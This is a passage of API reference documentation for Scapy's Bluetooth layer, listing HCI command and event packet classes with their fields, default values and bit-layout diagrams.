class scapy.layers.bluetooth.HCI_Cmd_Write_Extended_Inquiry_Response(_pkt, /, *, fec_required=0, eir_data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1591-L1594]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  FEC REQUIRED |            EIR DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. HCI_Cmd_Write_Extended_Inquiry_Response           


HCI_Cmd_Write_Extended_Inquiry_Response fields






	fec_required

	ByteField

	0



	eir_data

	PadField

	[]















	
class scapy.layers.bluetooth.HCI_Cmd_Write_LE_Host_Support(_pkt, /, *, supported=1, unused=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1601-L1604]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SUPPORTED   |     UNUSED    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. HCI_Cmd_Write_LE_Host_Support                


HCI_Cmd_Write_LE_Host_Support fields






	supported

	ByteField

	1



	unused

	ByteField

	1















	
class scapy.layers.bluetooth.HCI_Cmd_Write_Local_Name(_pkt, /, *, name='HCI_Write_Local_Name')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1581-L1583]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              NAME                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. HCI_Cmd_Write_Local_Name                   


HCI_Cmd_Write_Local_Name fields






	name

	StrFixedLenField

	'HCI_Write_Local_Name'















	
class scapy.layers.bluetooth.HCI_Cmd_Write_Loopback_Mode(_pkt, /, *, loopback_mode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1629-L1634]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LOOPBACK MODE |
+-+-+-+-+-+-+-+-+

                 Fig. HCI_Cmd_Write_Loopback_Mode                 


HCI_Cmd_Write_Loopback_Mode fields






	loopback_mode

	ByteEnumField

	0















	
class scapy.layers.bluetooth.HCI_Command_Hdr(_pkt, /, *, ogf=0, ocf=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1157-L1174]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1163-L1164]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    OGF    |        OCF        |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. HCI_Command_Hdr                       


HCI_Command_Hdr fields






	ogf

	XBitField  (6 bits)

	0



	ocf

	XBitField  (10 bits)

	0



	len

	LenField

	None











	
property opcode

	




	
payload_guess

	Possible sublayers:
HCI_Cmd_Accept_Connection_Request, HCI_Cmd_Authentication_Requested, HCI_Cmd_Change_Connection_Link_Key, HCI_Cmd_Change_Connection_Packet_Type, HCI_Cmd_Create_Connection_Cancel, HCI_Cmd_Create_Connection, HCI_Cmd_Disconnect, HCI_Cmd_Exit_Peiodic_Inquiry_Mode, HCI_Cmd_Hold_Mode, HCI_Cmd_IO_Capability_Request_Reply, HCI_Cmd_Inquiry_Cancel, HCI_Cmd_Inquiry, HCI_Cmd_LE_Add_Device_To_Filter_Accept_List, HCI_Cmd_LE_Clear_Filter_Accept_List, HCI_Cmd_LE_Connection_Update, HCI_Cmd_LE_Create_Connection_Cancel, HCI_Cmd_LE_Create_Connection, HCI_Cmd_LE_Enable_Encryption, HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply, HCI_Cmd_LE_Long_Term_Key_Request_Reply, HCI_Cmd_LE_Read_Buffer_Size_V1, HCI_Cmd_LE_Read_Buffer_Size_V2, HCI_Cmd_LE_Read_Filter_Accept_List_Size, HCI_Cmd_LE_Read_Local_Supported_Features, HCI_Cmd_LE_Read_Remote_Features, HCI_Cmd_LE_Remove_Device_From_Filter_Accept_List, HCI_Cmd_LE_Set_Advertise_Enable, HCI_Cmd_LE_Set_Advertising_Data, HCI_Cmd_LE_Set_Advertising_Parameters, HCI_Cmd_LE_Set_Random_Address, HCI_Cmd_LE_Set_Scan_Enable, HCI_Cmd_LE_Set_Scan_Parameters, HCI_Cmd_LE_Set_Scan_Response_Data, HCI_Cmd_Link_Key_Request_Negative_Reply, HCI_Cmd_Link_Key_Request_Reply, HCI_Cmd_PIN_Code_Request_Reply, HCI_Cmd_Periodic_Inquiry_Mode, HCI_Cmd_Read_BD_Addr, HCI_Cmd_Read_LE_Host_Support, HCI_Cmd_Read_Link_Quality, HCI_Cmd_Read_Loopback_Mode, HCI_Cmd_Read_RSSI, HCI_Cmd_Read_Remote_Extended_Features, HCI_Cmd_Read_Remote_Supported_Features, HCI_Cmd_Reject_Connection_Response, HCI_Cmd_Remote_Name_Request_Cancel, HCI_Cmd_Remote_Name_Request, HCI_Cmd_Remote_OOB_Data_Request_Negative_Reply, HCI_Cmd_Remote_OOB_Data_Request_Reply, HCI_Cmd_Reset, HCI_Cmd_Set_Connection_Encryption, HCI_Cmd_Set_Event_Filter, HCI_Cmd_Set_Event_Mask, HCI_Cmd_User_Confirmation_Request_Negative_Reply, HCI_Cmd_User_Confirmation_Request_Reply, HCI_Cmd_User_Passkey_Request_Negative_Reply, HCI_Cmd_User_Passkey_Request_Reply, HCI_Cmd_Write_Connect_Accept_Timeout, HCI_Cmd_Write_Extended_Inquiry_Response, HCI_Cmd_Write_LE_Host_Support, HCI_Cmd_Write_Local_Name, HCI_Cmd_Write_Loopback_Mode






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1170-L1174]

	








	
class scapy.layers.bluetooth.HCI_Event_Command_Complete(_pkt, /, *, number=0, opcode=0, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1895-L1908]

	Bases: Packet

7.7.14 Command Complete event


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1904-L1908]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NUMBER    |             OPCODE            |     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. HCI_Event_Command_Complete                  


HCI_Event_Command_Complete fields






	number

	ByteField

	0



	opcode

	XLEShortField

	0



	status

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
HCI_Cmd_Complete_LE_Read_White_List_Size, HCI_Cmd_Complete_Read_BD_Addr










	
class scapy.layers.bluetooth.HCI_Event_Command_Status(_pkt, /, *, status=0, number=0, opcode=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1911-L1924]

	Bases: Packet

7.7.15 Command Status event


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1920-L1924]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |     NUMBER    |             OPCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. HCI_Event_Command_Status                   


HCI_Event_Command_Status fields






	status

	ByteEnumField

	0



	number

	ByteField

	0



	opcode

	XLEShortField

	None















	
class scapy.layers.bluetooth.HCI_Event_Connection_Complete(_pkt, /, *, status=0, handle=256, bd_addr=None, link_type=0, encryption_enabled=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1824-L1836]

	Bases: Packet

7.7.3 Connection Complete event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |             HANDLE            |    BD ADDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   LINK TYPE   |ENCRYPTION ENAB|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. HCI_Event_Connection_Complete                


HCI_Event_Connection_Complete fields






	status

	ByteEnumField

	0



	handle

	LEShortField

	256



	bd_addr

	LEMACField

	None



	link_type

	ByteEnumField

	0



	encryption_enabled

	ByteEnumField

	0















	
class scapy.layers.bluetooth.HCI_Event_Disconnection_Complete(_pkt, /, *, status=0, handle=0, reason=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1839-L1846]

	Bases: Packet

7.7.5 Disconnection Complete event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |             HANDLE            |     REASON    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. HCI_Event_Disconnection_Complete               


HCI_Event_Disconnection_Complete fields






	status

	ByteEnumField

	0



	handle

	LEShortField

	0



	reason

	XByteField

	0















	
class scapy.layers.bluetooth.HCI_Event_Encryption_Change(_pkt, /, *, status=0, handle=0, enabled=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1859-L1866]

	Bases: Packet

7.7.8 Encryption Change event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |             HANDLE            |    ENABLED    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. HCI_Event_Encryption_Change                 


HCI_Event_Encryption_Change fields






	status

	ByteEnumField

	0



	handle

	LEShortField

	0



	enabled

	ByteEnumField

	0















	
class scapy.layers.bluetooth.HCI_Event_Extended_Inquiry_Result(_pkt, /, *, num_response=1, bd_addr=None, page_scan_repetition_mode=0, reserved=0, device_class=0, clock_offset=0, rssi=0, eir_data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1987-L2001]

	Bases: Packet

7.7.38 Extended Inquiry Result event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NUM RESPONSE |                    BD ADDR                    |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |PAGE SCAN REPET|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |                  DEVICE CLASS                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          CLOCK OFFSET         |      RSSI     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            EIR DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. HCI_Event_Extended_Inquiry_Result              


HCI_Event_Extended_Inquiry_Result fields






	num_response

	ByteField

	1



	bd_addr

	LEMACField

	None



	page_scan_repetition_mode

	ByteField

	0



	reserved

	ByteField

	0



	device_class

	XLE3BytesField

	0



	clock_offset

	LEShortField

	0



	rssi

	SignedByteField

	0



	eir_data

	PadField

	[]















	
class scapy.layers.bluetooth.HCI_Event_Hdr(_pkt, /, *, code=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1780-L1790]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1785-L1790]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. HCI_Event_Hdr                        


HCI_Event_Hdr fields






	code

	XByteField

	0



	len

	LenField

	None











	
payload_guess

	Possible sublayers:
HCI_Event_Command_Complete, HCI_Event_Command_Status, HCI_Event_Connection_Complete, HCI_Event_Disconnection_Complete, HCI_Event_Encryption_Change, HCI_Event_Extended_Inquiry_Result, HCI_Event_IO_Capability_Response, HCI_Event_Inquiry_Complete, HCI_Event_Inquiry_Result_With_Rssi, HCI_Event_Inquiry_Result, HCI_Event_LE_Meta, HCI_Event_Link_Key_Request, HCI_Event_Number_Of_Completed_Packets, HCI_Event_Read_Remote_Extended_Features_Complete, HCI_Event_Read_Remote_Supported_Features_Complete, HCI_Event_Read_Remote_Version_Information_Complete, HCI_Event_Remote_Name_Request_Complete










	
class scapy.layers.bluetooth.HCI_Event_IO_Capability_Response(_pkt, /, *, bd_addr=None, io_capability=0, oob_data_present=0, authentication_requirements=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2004-L2014]

	Bases: Packet

7.7.41 IO Capability Response event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | IO CAPABILITY |OOB DATA PRESEN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|AUTHENTICATION |
+-+-+-+-+-+-+-+-+

              Fig. HCI_Event_IO_Capability_Response               


HCI_Event_IO_Capability_Response fields






	bd_addr

	LEMACField

	None



	io_capability

	ByteField

	0



	oob_data_present

	ByteField

	0



	authentication_requirements

	ByteField

	0















	
class scapy.layers.bluetooth.HCI_Event_Inquiry_Complete(_pkt, /, *, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1793-L1800]

	Bases: Packet

7.7.1 Inquiry Complete event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |
+-+-+-+-+-+-+-+-+

                 Fig. HCI_Event_Inquiry_Complete                  


HCI_Event_Inquiry_Complete fields






	status

	ByteEnumField

	0















	
class scapy.layers.bluetooth.HCI_Event_Inquiry_Result(_pkt, /, *, num_response=0, addr=[], page_scan_repetition_mode=[], reserved=[], device_class=[], clock_offset=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1803-L1821]

	Bases: Packet

7.7.2 Inquiry Result event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NUM RESPONSE |              ADDR             |PAGE SCAN REPET|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            RESERVED           |  DEVICE CLASS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          CLOCK OFFSET         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. HCI_Event_Inquiry_Result                   


HCI_Event_Inquiry_Result fields






	num_response

	ByteField

	0



	addr

	FieldListField

	[]



	page_scan_repetition_mode

	FieldListField

	[]



	reserved

	FieldListField

	[]



	device_class

	FieldListField

	[]



	clock_offset

	FieldListField

	[]















	
class scapy.layers.bluetooth.HCI_Event_Inquiry_Result_With_Rssi(_pkt, /, *, num_response=0, bd_addr=[], page_scan_repetition_mode=[], reserved=[], device_class=[], clock_offset=[], rssi=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1951-L1970]

	Bases: Packet

7.7.33 Inquiry Result with RSSI event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NUM RESPONSE |            BD ADDR            |PAGE SCAN REPET|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            RESERVED           |  DEVICE CLASS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          CLOCK OFFSET         |      RSSI     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

             Fig. HCI_Event_Inquiry_Result_With_Rssi              


HCI_Event_Inquiry_Result_With_Rssi fields






	num_response

	ByteField

	0



	bd_addr

	FieldListField

	[]



	page_scan_repetition_mode

	FieldListField

	[]



	reserved

	FieldListField

	[]



	device_class

	FieldListField

	[]



	clock_offset

	FieldListField

	[]



	rssi

	FieldListField

	[]















	
class scapy.layers.bluetooth.HCI_Event_LE_Meta(_pkt, /, *, event=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2017-L2034]

	Bases: Packet

7.7.65 LE Meta event


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2029-L2034]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     EVENT     |
+-+-+-+-+-+-+-+-+

                      Fig. HCI_Event_LE_Meta                      


HCI_Event_LE_Meta fields






	event

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
HCI_LE_Meta_Advertising_Reports, HCI_LE_Meta_Connection_Complete, HCI_LE_Meta_Connection_Update_Complete, HCI_LE_Meta_Long_Term_Key_Request










	
class scapy.layers.bluetooth.HCI_Event_Link_Key_Request(_pkt, /, *, bd_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1941-L1948]

	Bases: Packet

7.7.23 Link Key Request event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. HCI_Event_Link_Key_Request                  


HCI_Event_Link_Key_Request fields






	bd_addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Event_Number_Of_Completed_Packets(_pkt, /, *, num_handles=0, connection_handle_list=[], num_completed_packets_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1927-L1938]

	Bases: Packet

7.7.19 Number Of Completed Packets event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NUM HANDLES  |     CONNECTION HANDLE LIST    |NUM COMPLETED P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

            Fig. HCI_Event_Number_Of_Completed_Packets            


HCI_Event_Number_Of_Completed_Packets fields






	num_handles

	ByteField

	0



	connection_handle_list

	FieldListField

	[]



	num_completed_packets_list

	FieldListField

	[]















	
class scapy.layers.bluetooth.HCI_Event_Read_Remote_Extended_Features_Complete(_pkt, /, *, status=0, handle=0, page=0, max_page=0, extended_features=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1973-L1984]

	Bases: Packet

7.7.34 Read Remote Extended Features Complete event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |             HANDLE            |      PAGE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MAX PAGE   |               EXTENDED FEATURES               |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

      Fig. HCI_Event_Read_Remote_Extended_Features_Complete       


HCI_Event_Read_Remote_Extended_Features_Complete fields






	status

	ByteEnumField

	0



	handle

	LEShortField

	0



	page

	ByteField

	0



	max_page

	ByteField

	0



	extended_features

	XLELongField

	0















	
class scapy.layers.bluetooth.HCI_Event_Read_Remote_Supported_Features_Complete(_pkt, /, *, status=0, handle=0, lmp_features=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1869-L1878]

	Bases: Packet

7.7.11 Read Remote Supported Features Complete event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |             HANDLE            |  LMP FEATURES |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

      Fig. HCI_Event_Read_Remote_Supported_Features_Complete      


HCI_Event_Read_Remote_Supported_Features_Complete fields






	status

	ByteEnumField

	0



	handle

	LEShortField

	0



	lmp_features

	FlagsField

	<Flag 0 ()>















	
class scapy.layers.bluetooth.HCI_Event_Read_Remote_Version_Information_Complete(_pkt, /, *, status=0, handle=0, version=0, manufacturer_name=0, subversion=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1881-L1892]

	Bases: Packet

7.7.12 Read Remote Version Information Complete event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |             HANDLE            |    VERSION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       MANUFACTURER NAME       |           SUBVERSION          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

     Fig. HCI_Event_Read_Remote_Version_Information_Complete      


HCI_Event_Read_Remote_Version_Information_Complete fields






	status

	ByteEnumField

	0



	handle

	LEShortField

	0



	version

	ByteField

	0



	manufacturer_name

	LEShortField

	0



	subversion

	LEShortField

	0















	
class scapy.layers.bluetooth.HCI_Event_Remote_Name_Request_Complete(_pkt, /, *, status=0, bd_addr=None, remote_name=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1849-L1856]

	Bases: Packet

